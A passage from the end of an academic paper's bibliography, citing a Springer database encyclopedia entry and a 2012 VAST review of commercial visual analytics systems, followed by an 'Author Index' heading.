Database Systems, pp. 1623–1626. Springer, Heidelberg (2009). https://doi.org/
10.1007/978-0-387-39940-9 1129
22. Zhang, L., Stoffel, A., Behrisch, M., Mittelstadt, S., Schreck, T., Pompl, R., Weber,
S., Last, H., Keim, D.A.: Visual analytics for the big data era - a comparative
review of state-of-the-art commercial systems. In: Proceedings of the VAST, pp.
173–182 (2012)
Author Index